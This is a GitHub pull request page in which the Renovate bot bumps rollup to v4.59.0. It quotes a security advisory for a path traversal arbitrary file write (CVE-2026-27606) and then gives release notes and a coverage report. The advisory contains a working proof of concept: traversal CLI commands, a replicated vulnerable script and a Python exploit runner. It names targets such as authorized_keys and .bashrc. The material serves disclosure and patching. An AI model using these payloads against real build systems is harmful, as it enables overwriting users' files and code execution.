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chore(deps): update dependency rollup to v4.59.0 [security] - autoclosed#867

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chore(deps): update dependency rollup to v4.59.0 [security] - autoclosed#867
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renovate/npm-rollup-vulnerability

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@renovate renovate bot commented Feb 26, 2026 •
edited by benmccann
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This PR contains the following updates:

Package Change Age Confidence
rollup (source) 4.52.5 → 4.59.0 age confidence

GitHub Vulnerability Alerts

CVE-2026-27606

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: 
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()

POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image

Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Release Notes

rollup/rollup (rollup)

v4.59.0

Compare Source

2026-02-22

Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests

v4.58.0

Compare Source

2026-02-20

Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests

v4.57.1

Compare Source

2026-01-30

Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests

v4.57.0

Compare Source

2026-01-27

Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests

v4.56.0

Compare Source

2026-01-22

Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests

v4.55.3

Compare Source

2026-01-21

Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests

v4.55.2

Compare Source

2026-01-19

Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests

v4.55.1

Compare Source

2026-01-05

Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests

v4.54.0

Compare Source

2025-12-20

Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests

v4.53.5

Compare Source

2025-12-16

Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests

v4.53.4

Compare Source

2025-12-15

Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests

v4.53.3

Compare Source

2025-11-19

Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests

v4.53.2

Compare Source

2025-11-10

Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests

v4.53.1

Compare Source

2025-11-07

Bug Fixes
Pull Requests

v4.53.0

Compare Source

2025-11-07

Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests

Configuration

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⚠️ No Changeset found

Latest commit: a0f02a1

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@renovate renovate bot changed the title chore(deps): update dependency rollup to v4.59.0 [security] chore(deps): update dependency rollup to v4.59.0 [security] - autoclosed Feb 26, 2026
@renovate renovate bot closed this Feb 26, 2026
@renovate renovate bot deleted the renovate/npm-rollup-vulnerability branch February 26, 2026 21:51
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codecov bot commented Feb 27, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 92.50%. Comparing base (c2d1bfc) to head (a0f02a1).
⚠️ Report is 3 commits behind head on main.

Additional details and impacted files 
@@           Coverage Diff           @@
##             main     #867   +/-   ##
=======================================
  Coverage   92.50%   92.50%           
=======================================
  Files          33       33           
  Lines         480      480           
  Branches      151      151           
=======================================
  Hits          444      444           
  Misses         26       26           
  Partials       10       10
Flag Coverage Δ
imagetools-core 92.50% <ø> (ø)
vite-imagetools 92.50% <ø> (ø)

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